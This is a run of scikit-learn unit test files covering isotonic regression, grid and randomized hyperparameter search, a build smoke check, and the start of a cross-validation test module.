    y = np.array([3, 7, 5, 9, 8, 7, 10])
    x = np.arange(len(y))

    # Create model and fit
    ir = IsotonicRegression(increasing='auto', out_of_bounds="xyz")

    # Make sure that we throw an error for bad out_of_bounds value
    assert_raises(ValueError, ir.fit, x, y)


def test_isotonic_regression_oob_bad_after():
    # Set y and x
    y = np.array([3, 7, 5, 9, 8, 7, 10])
    x = np.arange(len(y))

    # Create model and fit
    ir = IsotonicRegression(increasing='auto', out_of_bounds="raise")

    # Make sure that we throw an error for bad out_of_bounds value in transform
    ir.fit(x, y)
    ir.out_of_bounds = "xyz"
    assert_raises(ValueError, ir.transform, x)


def test_isotonic_regression_pickle():
    y = np.array([3, 7, 5, 9, 8, 7, 10])
    x = np.arange(len(y))

    # Create model and fit
    ir = IsotonicRegression(increasing='auto', out_of_bounds="clip")
    ir.fit(x, y)

    ir_ser = pickle.dumps(ir, pickle.HIGHEST_PROTOCOL)
    ir2 = pickle.loads(ir_ser)
    np.testing.assert_array_equal(ir.predict(x), ir2.predict(x))


def test_isotonic_duplicate_min_entry():
    x = [0, 0, 1]
    y = [0, 0, 1]

    ir = IsotonicRegression(increasing=True, out_of_bounds="clip")
    ir.fit(x, y)
    all_predictions_finite = np.all(np.isfinite(ir.predict(x)))
    assert_true(all_predictions_finite)


def test_isotonic_ymin_ymax():
    # Test from @NelleV's issue:
    # https://github.com/scikit-learn/scikit-learn/issues/6921
    x = np.array([1.263, 1.318, -0.572, 0.307, -0.707, -0.176, -1.599, 1.059,
                  1.396, 1.906, 0.210, 0.028, -0.081, 0.444, 0.018, -0.377,
                  -0.896, -0.377, -1.327, 0.180])
    y = isotonic_regression(x, y_min=0., y_max=0.1)

    assert(np.all(y >= 0))
    assert(np.all(y <= 0.1))

    # Also test decreasing case since the logic there is different
    y = isotonic_regression(x, y_min=0., y_max=0.1, increasing=False)

    assert(np.all(y >= 0))
    assert(np.all(y <= 0.1))

    # Finally, test with only one bound
    y = isotonic_regression(x, y_min=0., increasing=False)

    assert(np.all(y >= 0))


def test_isotonic_zero_weight_loop():
    # Test from @ogrisel's issue:
    # https://github.com/scikit-learn/scikit-learn/issues/4297

    # Get deterministic RNG with seed
    rng = np.random.RandomState(42)

    # Create regression and samples
    regression = IsotonicRegression()
    n_samples = 50
    x = np.linspace(-3, 3, n_samples)
    y = x + rng.uniform(size=n_samples)

    # Get some random weights and zero out
    w = rng.uniform(size=n_samples)
    w[5:8] = 0
    regression.fit(x, y, sample_weight=w)

    # This will hang in failure case.
    regression.fit(x, y, sample_weight=w)


def test_fast_predict():
    # test that the faster prediction change doesn't
    # affect out-of-sample predictions:
    # https://github.com/scikit-learn/scikit-learn/pull/6206
    rng = np.random.RandomState(123)
    n_samples = 10 ** 3
    # X values over the -10,10 range
    X_train = 20.0 * rng.rand(n_samples) - 10
    y_train = np.less(
        rng.rand(n_samples),
        1.0 / (1.0 + np.exp(-X_train))
    ).astype('int64')

    weights = rng.rand(n_samples)
    # we also want to test that everything still works when some weights are 0
    weights[rng.rand(n_samples) < 0.1] = 0

    slow_model = IsotonicRegression(y_min=0, y_max=1, out_of_bounds="clip")
    fast_model = IsotonicRegression(y_min=0, y_max=1, out_of_bounds="clip")

    # Build interpolation function with ALL input data, not just the
    # non-redundant subset. The following 2 lines are taken from the
    # .fit() method, without removing unnecessary points
    X_train_fit, y_train_fit = slow_model._build_y(X_train, y_train,
                                                   sample_weight=weights,
                                                   trim_duplicates=False)
    slow_model._build_f(X_train_fit, y_train_fit)

    # fit with just the necessary data
    fast_model.fit(X_train, y_train, sample_weight=weights)

    X_test = 20.0 * rng.rand(n_samples) - 10
    y_pred_slow = slow_model.predict(X_test)
    y_pred_fast = fast_model.predict(X_test)

    assert_array_equal(y_pred_slow, y_pred_fast)


def test_isotonic_copy_before_fit():
    # https://github.com/scikit-learn/scikit-learn/issues/6628
    ir = IsotonicRegression()
    copy.copy(ir)






"""
Testing for grid search module (sklearn.grid_search)

"""

from collections import Iterable, Sized
from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.externals.six.moves import xrange
from itertools import chain, product
import pickle
import warnings
import sys

import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_false, assert_true
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_no_warnings
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.mocking import CheckingClassifier, MockDataFrame

from scipy.stats import bernoulli, expon, uniform

from sklearn.externals.six.moves import zip
from sklearn.base import BaseEstimator
from sklearn.datasets import make_classification
from sklearn.datasets import make_blobs
from sklearn.datasets import make_multilabel_classification
from sklearn.svm import LinearSVC, SVC
from sklearn.tree import DecisionTreeRegressor
from sklearn.tree import DecisionTreeClassifier
from sklearn.cluster import KMeans
from sklearn.neighbors import KernelDensity
from sklearn.metrics import f1_score
from sklearn.metrics import make_scorer
from sklearn.metrics import roc_auc_score

from sklearn.exceptions import ChangedBehaviorWarning
from sklearn.exceptions import FitFailedWarning

with warnings.catch_warnings():
    warnings.simplefilter('ignore')
    from sklearn.grid_search import (GridSearchCV, RandomizedSearchCV,
                                     ParameterGrid, ParameterSampler)
    from sklearn.cross_validation import KFold, StratifiedKFold

from sklearn.preprocessing import Imputer
from sklearn.pipeline import Pipeline


# Neither of the following two estimators inherit from BaseEstimator,
# to test hyperparameter search on user-defined classifiers.
class MockClassifier(object):
    """Dummy classifier to test the cross-validation"""
    def __init__(self, foo_param=0):
        self.foo_param = foo_param

    def fit(self, X, Y):
        assert_true(len(X) == len(Y))
        return self

    def predict(self, T):
        return T.shape[0]

    predict_proba = predict
    decision_function = predict
    transform = predict

    def score(self, X=None, Y=None):
        if self.foo_param > 1:
            score = 1.
        else:
            score = 0.
        return score

    def get_params(self, deep=False):
        return {'foo_param': self.foo_param}

    def set_params(self, **params):
        self.foo_param = params['foo_param']
        return self


class LinearSVCNoScore(LinearSVC):
    """An LinearSVC classifier that has no score method."""
    @property
    def score(self):
        raise AttributeError

X = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])
y = np.array([1, 1, 2, 2])


def assert_grid_iter_equals_getitem(grid):
    assert_equal(list(grid), [grid[i] for i in range(len(grid))])


def test_parameter_grid():
    # Test basic properties of ParameterGrid.
    params1 = {"foo": [1, 2, 3]}
    grid1 = ParameterGrid(params1)
    assert_true(isinstance(grid1, Iterable))
    assert_true(isinstance(grid1, Sized))
    assert_equal(len(grid1), 3)
    assert_grid_iter_equals_getitem(grid1)

    params2 = {"foo": [4, 2],
               "bar": ["ham", "spam", "eggs"]}
    grid2 = ParameterGrid(params2)
    assert_equal(len(grid2), 6)

    # loop to assert we can iterate over the grid multiple times
    for i in xrange(2):
        # tuple + chain transforms {"a": 1, "b": 2} to ("a", 1, "b", 2)
        points = set(tuple(chain(*(sorted(p.items())))) for p in grid2)
        assert_equal(points,
                     set(("bar", x, "foo", y)
                         for x, y in product(params2["bar"], params2["foo"])))

    assert_grid_iter_equals_getitem(grid2)

    # Special case: empty grid (useful to get default estimator settings)
    empty = ParameterGrid({})
    assert_equal(len(empty), 1)
    assert_equal(list(empty), [{}])
    assert_grid_iter_equals_getitem(empty)
    assert_raises(IndexError, lambda: empty[1])

    has_empty = ParameterGrid([{'C': [1, 10]}, {}, {'C': [.5]}])
    assert_equal(len(has_empty), 4)
    assert_equal(list(has_empty), [{'C': 1}, {'C': 10}, {}, {'C': .5}])
    assert_grid_iter_equals_getitem(has_empty)


def test_grid_search():
    # Test that the best estimator contains the right value for foo_param
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, verbose=3)
    # make sure it selects the smallest parameter in case of ties
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    grid_search.fit(X, y)
    sys.stdout = old_stdout
    assert_equal(grid_search.best_estimator_.foo_param, 2)

    for i, foo_i in enumerate([1, 2, 3]):
        assert_true(grid_search.grid_scores_[i][0]
                    == {'foo_param': foo_i})
    # Smoke test the score etc:
    grid_search.score(X, y)
    grid_search.predict_proba(X)
    grid_search.decision_function(X)
    grid_search.transform(X)

    # Test exception handling on scoring
    grid_search.scoring = 'sklearn'
    assert_raises(ValueError, grid_search.fit, X, y)


@ignore_warnings
def test_grid_search_no_score():
    # Test grid-search on classifier that has no score function.
    clf = LinearSVC(random_state=0)
    X, y = make_blobs(random_state=0, centers=2)
    Cs = [.1, 1, 10]
    clf_no_score = LinearSVCNoScore(random_state=0)
    grid_search = GridSearchCV(clf, {'C': Cs}, scoring='accuracy')
    grid_search.fit(X, y)

    grid_search_no_score = GridSearchCV(clf_no_score, {'C': Cs},
                                        scoring='accuracy')
    # smoketest grid search
    grid_search_no_score.fit(X, y)

    # check that best params are equal
    assert_equal(grid_search_no_score.best_params_, grid_search.best_params_)
    # check that we can call score and that it gives the correct result
    assert_equal(grid_search.score(X, y), grid_search_no_score.score(X, y))

    # giving no scoring function raises an error
    grid_search_no_score = GridSearchCV(clf_no_score, {'C': Cs})
    assert_raise_message(TypeError, "no scoring", grid_search_no_score.fit,
                         [[1]])


def test_grid_search_score_method():
    X, y = make_classification(n_samples=100, n_classes=2, flip_y=.2,
                               random_state=0)
    clf = LinearSVC(random_state=0)
    grid = {'C': [.1]}

    search_no_scoring = GridSearchCV(clf, grid, scoring=None).fit(X, y)
    search_accuracy = GridSearchCV(clf, grid, scoring='accuracy').fit(X, y)
    search_no_score_method_auc = GridSearchCV(LinearSVCNoScore(), grid,
                                              scoring='roc_auc').fit(X, y)
    search_auc = GridSearchCV(clf, grid, scoring='roc_auc').fit(X, y)

    # Check warning only occurs in situation where behavior changed:
    # estimator requires score method to compete with scoring parameter
    score_no_scoring = assert_no_warnings(search_no_scoring.score, X, y)
    score_accuracy = assert_warns(ChangedBehaviorWarning,
                                  search_accuracy.score, X, y)
    score_no_score_auc = assert_no_warnings(search_no_score_method_auc.score,
                                            X, y)
    score_auc = assert_warns(ChangedBehaviorWarning,
                             search_auc.score, X, y)
    # ensure the test is sane
    assert_true(score_auc < 1.0)
    assert_true(score_accuracy < 1.0)
    assert_not_equal(score_auc, score_accuracy)

    assert_almost_equal(score_accuracy, score_no_scoring)
    assert_almost_equal(score_auc, score_no_score_auc)


def test_trivial_grid_scores():
    # Test search over a "grid" with only one point.
    # Non-regression test: grid_scores_ wouldn't be set by GridSearchCV.
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1]})
    grid_search.fit(X, y)
    assert_true(hasattr(grid_search, "grid_scores_"))

    random_search = RandomizedSearchCV(clf, {'foo_param': [0]}, n_iter=1)
    random_search.fit(X, y)
    assert_true(hasattr(random_search, "grid_scores_"))


def test_no_refit():
    # Test that grid search can be used for model selection only
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, refit=False)
    grid_search.fit(X, y)
    assert_true(hasattr(grid_search, "best_params_"))


def test_grid_search_error():
    # Test that grid search will capture errors on data with different
    # length
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    assert_raises(ValueError, cv.fit, X_[:180], y_)


def test_grid_search_iid():
    # test the iid parameter
    # noise-free simple 2d-data
    X, y = make_blobs(centers=[[0, 0], [1, 0], [0, 1], [1, 1]], random_state=0,
                      cluster_std=0.1, shuffle=False, n_samples=80)
    # split dataset into two folds that are not iid
    # first one contains data of all 4 blobs, second only from two.
    mask = np.ones(X.shape[0], dtype=np.bool)
    mask[np.where(y == 1)[0][::2]] = 0
    mask[np.where(y == 2)[0][::2]] = 0
    # this leads to perfect classification on one fold and a score of 1/3 on
    # the other
    svm = SVC(kernel='linear')
    # create "cv" for splits
    cv = [[mask, ~mask], [~mask, mask]]
    # once with iid=True (default)
    grid_search = GridSearchCV(svm, param_grid={'C': [1, 10]}, cv=cv)
    grid_search.fit(X, y)
    first = grid_search.grid_scores_[0]
    assert_equal(first.parameters['C'], 1)
    assert_array_almost_equal(first.cv_validation_scores, [1, 1. / 3.])
    # for first split, 1/4 of dataset is in test, for second 3/4.
    # take weighted average
    assert_almost_equal(first.mean_validation_score,
                        1 * 1. / 4. + 1. / 3. * 3. / 4.)

    # once with iid=False
    grid_search = GridSearchCV(svm, param_grid={'C': [1, 10]}, cv=cv,
                               iid=False)
    grid_search.fit(X, y)
    first = grid_search.grid_scores_[0]
    assert_equal(first.parameters['C'], 1)
    # scores are the same as above
    assert_array_almost_equal(first.cv_validation_scores, [1, 1. / 3.])
    # averaged score is just mean of scores
    assert_almost_equal(first.mean_validation_score,
                        np.mean(first.cv_validation_scores))


def test_grid_search_one_grid_point():
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)
    param_dict = {"C": [1.0], "kernel": ["rbf"], "gamma": [0.1]}

    clf = SVC()
    cv = GridSearchCV(clf, param_dict)
    cv.fit(X_, y_)

    clf = SVC(C=1.0, kernel="rbf", gamma=0.1)
    clf.fit(X_, y_)

    assert_array_equal(clf.dual_coef_, cv.best_estimator_.dual_coef_)


def test_grid_search_bad_param_grid():
    param_dict = {"C": 1.0}
    clf = SVC()
    assert_raises(ValueError, GridSearchCV, clf, param_dict)

    param_dict = {"C": []}
    clf = SVC()
    assert_raises(ValueError, GridSearchCV, clf, param_dict)

    param_dict = {"C": np.ones(6).reshape(3, 2)}
    clf = SVC()
    assert_raises(ValueError, GridSearchCV, clf, param_dict)


def test_grid_search_sparse():
    # Test that grid search works with both dense and sparse matrices
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    cv.fit(X_[:180], y_[:180])
    y_pred = cv.predict(X_[180:])
    C = cv.best_estimator_.C

    X_ = sp.csr_matrix(X_)
    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    cv.fit(X_[:180].tocoo(), y_[:180])
    y_pred2 = cv.predict(X_[180:])
    C2 = cv.best_estimator_.C

    assert_true(np.mean(y_pred == y_pred2) >= .9)
    assert_equal(C, C2)


def test_grid_search_sparse_scoring():
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]}, scoring="f1")
    cv.fit(X_[:180], y_[:180])
    y_pred = cv.predict(X_[180:])
    C = cv.best_estimator_.C

    X_ = sp.csr_matrix(X_)
    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]}, scoring="f1")
    cv.fit(X_[:180], y_[:180])
    y_pred2 = cv.predict(X_[180:])
    C2 = cv.best_estimator_.C

    assert_array_equal(y_pred, y_pred2)
    assert_equal(C, C2)
    # Smoke test the score
    # np.testing.assert_allclose(f1_score(cv.predict(X_[:180]), y[:180]),
    #                            cv.score(X_[:180], y[:180]))

    # test loss where greater is worse
    def f1_loss(y_true_, y_pred_):
        return -f1_score(y_true_, y_pred_)
    F1Loss = make_scorer(f1_loss, greater_is_better=False)
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]}, scoring=F1Loss)
    cv.fit(X_[:180], y_[:180])
    y_pred3 = cv.predict(X_[180:])
    C3 = cv.best_estimator_.C

    assert_equal(C, C3)
    assert_array_equal(y_pred, y_pred3)


def test_grid_search_precomputed_kernel():
    # Test that grid search works when the input features are given in the
    # form of a precomputed kernel matrix
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    # compute the training kernel matrix corresponding to the linear kernel
    K_train = np.dot(X_[:180], X_[:180].T)
    y_train = y_[:180]

    clf = SVC(kernel='precomputed')
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    cv.fit(K_train, y_train)

    assert_true(cv.best_score_ >= 0)

    # compute the test kernel matrix
    K_test = np.dot(X_[180:], X_[:180].T)
    y_test = y_[180:]

    y_pred = cv.predict(K_test)

    assert_true(np.mean(y_pred == y_test) >= 0)

    # test error is raised when the precomputed kernel is not array-like
    # or sparse
    assert_raises(ValueError, cv.fit, K_train.tolist(), y_train)


def test_grid_search_precomputed_kernel_error_nonsquare():
    # Test that grid search returns an error with a non-square precomputed
    # training kernel matrix
    K_train = np.zeros((10, 20))
    y_train = np.ones((10, ))
    clf = SVC(kernel='precomputed')
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    assert_raises(ValueError, cv.fit, K_train, y_train)


def test_grid_search_precomputed_kernel_error_kernel_function():
    # Test that grid search returns an error when using a kernel_function
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)
    kernel_function = lambda x1, x2: np.dot(x1, x2.T)
    clf = SVC(kernel=kernel_function)
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    assert_raises(ValueError, cv.fit, X_, y_)


class BrokenClassifier(BaseEstimator):
    """Broken classifier that cannot be fit twice"""

    def __init__(self, parameter=None):
        self.parameter = parameter

    def fit(self, X, y):
        assert_true(not hasattr(self, 'has_been_fit_'))
        self.has_been_fit_ = True

    def predict(self, X):
        return np.zeros(X.shape[0])


@ignore_warnings
def test_refit():
    # Regression test for bug in refitting
    # Simulates re-fitting a broken estimator; this used to break with
    # sparse SVMs.
    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    clf = GridSearchCV(BrokenClassifier(), [{'parameter': [0, 1]}],
                       scoring="precision", refit=True)
    clf.fit(X, y)


def test_gridsearch_nd():
    # Pass X as list in GridSearchCV
    X_4d = np.arange(10 * 5 * 3 * 2).reshape(10, 5, 3, 2)
    y_3d = np.arange(10 * 7 * 11).reshape(10, 7, 11)
    check_X = lambda x: x.shape[1:] == (5, 3, 2)
    check_y = lambda x: x.shape[1:] == (7, 11)
    clf = CheckingClassifier(check_X=check_X, check_y=check_y)
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]})
    grid_search.fit(X_4d, y_3d).score(X, y)
    assert_true(hasattr(grid_search, "grid_scores_"))


def test_X_as_list():
    # Pass X as list in GridSearchCV
    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    clf = CheckingClassifier(check_X=lambda x: isinstance(x, list))
    cv = KFold(n=len(X), n_folds=3)
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, cv=cv)
    grid_search.fit(X.tolist(), y).score(X, y)
    assert_true(hasattr(grid_search, "grid_scores_"))


def test_y_as_list():
    # Pass y as list in GridSearchCV
    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    clf = CheckingClassifier(check_y=lambda x: isinstance(x, list))
    cv = KFold(n=len(X), n_folds=3)
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, cv=cv)
    grid_search.fit(X, y.tolist()).score(X, y)
    assert_true(hasattr(grid_search, "grid_scores_"))


def test_pandas_input():
    # check cross_val_score doesn't destroy pandas dataframe
    types = [(MockDataFrame, MockDataFrame)]
    try:
        from pandas import Series, DataFrame
        types.append((DataFrame, Series))
    except ImportError:
        pass

    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    for InputFeatureType, TargetType in types:
        # X dataframe, y series
        X_df, y_ser = InputFeatureType(X), TargetType(y)
        check_df = lambda x: isinstance(x, InputFeatureType)
        check_series = lambda x: isinstance(x, TargetType)
        clf = CheckingClassifier(check_X=check_df, check_y=check_series)

        grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]})
        grid_search.fit(X_df, y_ser).score(X_df, y_ser)
        grid_search.predict(X_df)
        assert_true(hasattr(grid_search, "grid_scores_"))


def test_unsupervised_grid_search():
    # test grid-search with unsupervised estimator
    X, y = make_blobs(random_state=0)
    km = KMeans(random_state=0)
    grid_search = GridSearchCV(km, param_grid=dict(n_clusters=[2, 3, 4]),
                               scoring='adjusted_rand_score')
    grid_search.fit(X, y)
    # ARI can find the right number :)
    assert_equal(grid_search.best_params_["n_clusters"], 3)

    # Now without a score, and without y
    grid_search = GridSearchCV(km, param_grid=dict(n_clusters=[2, 3, 4]))
    grid_search.fit(X)
    assert_equal(grid_search.best_params_["n_clusters"], 4)


def test_gridsearch_no_predict():
    # test grid-search with an estimator without predict.
    # slight duplication of a test from KDE
    def custom_scoring(estimator, X):
        return 42 if estimator.bandwidth == .1 else 0
    X, _ = make_blobs(cluster_std=.1, random_state=1,
                      centers=[[0, 1], [1, 0], [0, 0]])
    search = GridSearchCV(KernelDensity(),
                          param_grid=dict(bandwidth=[.01, .1, 1]),
                          scoring=custom_scoring)
    search.fit(X)
    assert_equal(search.best_params_['bandwidth'], .1)
    assert_equal(search.best_score_, 42)


def test_param_sampler():
    # test basic properties of param sampler
    param_distributions = {"kernel": ["rbf", "linear"],
                           "C": uniform(0, 1)}
    sampler = ParameterSampler(param_distributions=param_distributions,
                               n_iter=10, random_state=0)
    samples = [x for x in sampler]
    assert_equal(len(samples), 10)
    for sample in samples:
        assert_true(sample["kernel"] in ["rbf", "linear"])
        assert_true(0 <= sample["C"] <= 1)


def test_randomized_search_grid_scores():
    # Make a dataset with a lot of noise to get various kind of prediction
    # errors across CV folds and parameter settings
    X, y = make_classification(n_samples=200, n_features=100, n_informative=3,
                               random_state=0)

    # XXX: as of today (scipy 0.12) it's not possible to set the random seed
    # of scipy.stats distributions: the assertions in this test should thus
    # not depend on the randomization
    params = dict(C=expon(scale=10),
                  gamma=expon(scale=0.1))
    n_cv_iter = 3
    n_search_iter = 30
    search = RandomizedSearchCV(SVC(), n_iter=n_search_iter, cv=n_cv_iter,
                                param_distributions=params, iid=False)
    search.fit(X, y)
    assert_equal(len(search.grid_scores_), n_search_iter)

    # Check consistency of the structure of each cv_score item
    for cv_score in search.grid_scores_:
        assert_equal(len(cv_score.cv_validation_scores), n_cv_iter)
        # Because we set iid to False, the mean_validation score is the
        # mean of the fold mean scores instead of the aggregate sample-wise
        # mean score
        assert_almost_equal(np.mean(cv_score.cv_validation_scores),
                            cv_score.mean_validation_score)
        assert_equal(list(sorted(cv_score.parameters.keys())),
                     list(sorted(params.keys())))

    # Check the consistency with the best_score_ and best_params_ attributes
    sorted_grid_scores = list(sorted(search.grid_scores_,
                              key=lambda x: x.mean_validation_score))
    best_score = sorted_grid_scores[-1].mean_validation_score
    assert_equal(search.best_score_, best_score)

    tied_best_params = [s.parameters for s in sorted_grid_scores
                        if s.mean_validation_score == best_score]
    assert_true(search.best_params_ in tied_best_params,
                "best_params_={0} is not part of the"
                " tied best models: {1}".format(
                    search.best_params_, tied_best_params))


def test_grid_search_score_consistency():
    # test that correct scores are used
    clf = LinearSVC(random_state=0)
    X, y = make_blobs(random_state=0, centers=2)
    Cs = [.1, 1, 10]
    for score in ['f1', 'roc_auc']:
        grid_search = GridSearchCV(clf, {'C': Cs}, scoring=score)
        grid_search.fit(X, y)
        cv = StratifiedKFold(n_folds=3, y=y)
        for C, scores in zip(Cs, grid_search.grid_scores_):
            clf.set_params(C=C)
            scores = scores[2]  # get the separate runs from grid scores
            i = 0
            for train, test in cv:
                clf.fit(X[train], y[train])
                if score == "f1":
                    correct_score = f1_score(y[test], clf.predict(X[test]))
                elif score == "roc_auc":
                    dec = clf.decision_function(X[test])
                    correct_score = roc_auc_score(y[test], dec)
                assert_almost_equal(correct_score, scores[i])
                i += 1


def test_pickle():
    # Test that a fit search can be pickled
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, refit=True)
    grid_search.fit(X, y)
    pickle.dumps(grid_search)  # smoke test

    random_search = RandomizedSearchCV(clf, {'foo_param': [1, 2, 3]},
                                       refit=True, n_iter=3)
    random_search.fit(X, y)
    pickle.dumps(random_search)  # smoke test


def test_grid_search_with_multioutput_data():
    # Test search with multi-output estimator

    X, y = make_multilabel_classification(random_state=0)

    est_parameters = {"max_depth": [1, 2, 3, 4]}
    cv = KFold(y.shape[0], random_state=0)

    estimators = [DecisionTreeRegressor(random_state=0),
                  DecisionTreeClassifier(random_state=0)]

    # Test with grid search cv
    for est in estimators:
        grid_search = GridSearchCV(est, est_parameters, cv=cv)
        grid_search.fit(X, y)
        for parameters, _, cv_validation_scores in grid_search.grid_scores_:
            est.set_params(**parameters)

            for i, (train, test) in enumerate(cv):
                est.fit(X[train], y[train])
                correct_score = est.score(X[test], y[test])
                assert_almost_equal(correct_score,
                                    cv_validation_scores[i])

    # Test with a randomized search
    for est in estimators:
        random_search = RandomizedSearchCV(est, est_parameters,
                                           cv=cv, n_iter=3)
        random_search.fit(X, y)
        for parameters, _, cv_validation_scores in random_search.grid_scores_:
            est.set_params(**parameters)

            for i, (train, test) in enumerate(cv):
                est.fit(X[train], y[train])
                correct_score = est.score(X[test], y[test])
                assert_almost_equal(correct_score,
                                    cv_validation_scores[i])


def test_predict_proba_disabled():
    # Test predict_proba when disabled on estimator.
    X = np.arange(20).reshape(5, -1)
    y = [0, 0, 1, 1, 1]
    clf = SVC(probability=False)
    gs = GridSearchCV(clf, {}, cv=2).fit(X, y)
    assert_false(hasattr(gs, "predict_proba"))


def test_grid_search_allows_nans():
    # Test GridSearchCV with Imputer
    X = np.arange(20, dtype=np.float64).reshape(5, -1)
    X[2, :] = np.nan
    y = [0, 0, 1, 1, 1]
    p = Pipeline([
        ('imputer', Imputer(strategy='mean', missing_values='NaN')),
        ('classifier', MockClassifier()),
    ])
    GridSearchCV(p, {'classifier__foo_param': [1, 2, 3]}, cv=2).fit(X, y)


class FailingClassifier(BaseEstimator):
    """Classifier that raises a ValueError on fit()"""

    FAILING_PARAMETER = 2

    def __init__(self, parameter=None):
        self.parameter = parameter

    def fit(self, X, y=None):
        if self.parameter == FailingClassifier.FAILING_PARAMETER:
            raise ValueError("Failing classifier failed as required")

    def predict(self, X):
        return np.zeros(X.shape[0])


def test_grid_search_failing_classifier():
    # GridSearchCV with on_error != 'raise'
    # Ensures that a warning is raised and score reset where appropriate.

    X, y = make_classification(n_samples=20, n_features=10, random_state=0)

    clf = FailingClassifier()

    # refit=False because we only want to check that errors caused by fits
    # to individual folds will be caught and warnings raised instead. If
    # refit was done, then an exception would be raised on refit and not
    # caught by grid_search (expected behavior), and this would cause an
    # error in this test.
    gs = GridSearchCV(clf, [{'parameter': [0, 1, 2]}], scoring='accuracy',
                      refit=False, error_score=0.0)

    assert_warns(FitFailedWarning, gs.fit, X, y)

    # Ensure that grid scores were set to zero as required for those fits
    # that are expected to fail.
    assert all(np.all(this_point.cv_validation_scores == 0.0)
               for this_point in gs.grid_scores_
               if this_point.parameters['parameter'] ==
               FailingClassifier.FAILING_PARAMETER)

    gs = GridSearchCV(clf, [{'parameter': [0, 1, 2]}], scoring='accuracy',
                      refit=False, error_score=float('nan'))
    assert_warns(FitFailedWarning, gs.fit, X, y)
    assert all(np.all(np.isnan(this_point.cv_validation_scores))
               for this_point in gs.grid_scores_
               if this_point.parameters['parameter'] ==
               FailingClassifier.FAILING_PARAMETER)


def test_grid_search_failing_classifier_raise():
    # GridSearchCV with on_error == 'raise' raises the error

    X, y = make_classification(n_samples=20, n_features=10, random_state=0)

    clf = FailingClassifier()

    # refit=False because we want to test the behaviour of the grid search part
    gs = GridSearchCV(clf, [{'parameter': [0, 1, 2]}], scoring='accuracy',
                      refit=False, error_score='raise')

    # FailingClassifier issues a ValueError so this is what we look for.
    assert_raises(ValueError, gs.fit, X, y)


def test_parameters_sampler_replacement():
    # raise error if n_iter too large
    params = {'first': [0, 1], 'second': ['a', 'b', 'c']}
    sampler = ParameterSampler(params, n_iter=7)
    assert_raises(ValueError, list, sampler)
    # degenerates to GridSearchCV if n_iter the same as grid_size
    sampler = ParameterSampler(params, n_iter=6)
    samples = list(sampler)
    assert_equal(len(samples), 6)
    for values in ParameterGrid(params):
        assert_true(values in samples)

    # test sampling without replacement in a large grid
    params = {'a': range(10), 'b': range(10), 'c': range(10)}
    sampler = ParameterSampler(params, n_iter=99, random_state=42)
    samples = list(sampler)
    assert_equal(len(samples), 99)
    hashable_samples = ["a%db%dc%d" % (p['a'], p['b'], p['c'])
                        for p in samples]
    assert_equal(len(set(hashable_samples)), 99)

    # doesn't go into infinite loops
    params_distribution = {'first': bernoulli(.5), 'second': ['a', 'b', 'c']}
    sampler = ParameterSampler(params_distribution, n_iter=7)
    samples = list(sampler)
    assert_equal(len(samples), 7)






"""
Smoke Test the check_build module
"""

# Author: G Varoquaux
# License: BSD 3 clause

from sklearn.__check_build import raise_build_error

from sklearn.utils.testing import assert_raises


def test_raise_build_error():
    assert_raises(ImportError, raise_build_error, ImportError())






"""Test the cross_validation module"""
from __future__ import division
import warnings

import numpy as np
from scipy.sparse import coo_matrix
from scipy.sparse import csr_matrix
from scipy import stats

from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.mocking import CheckingClassifier, MockDataFrame

with warnings.catch_warnings():
    warnings.simplefilter('ignore')
    from sklearn import cross_validation as cval

from sklearn.datasets import make_regression
from sklearn.datasets import load_boston
from sklearn.datasets import load_digits
from sklearn.datasets import load_iris
from sklearn.datasets import make_multilabel_classification
from sklearn.metrics import explained_variance_score
from sklearn.metrics import make_scorer
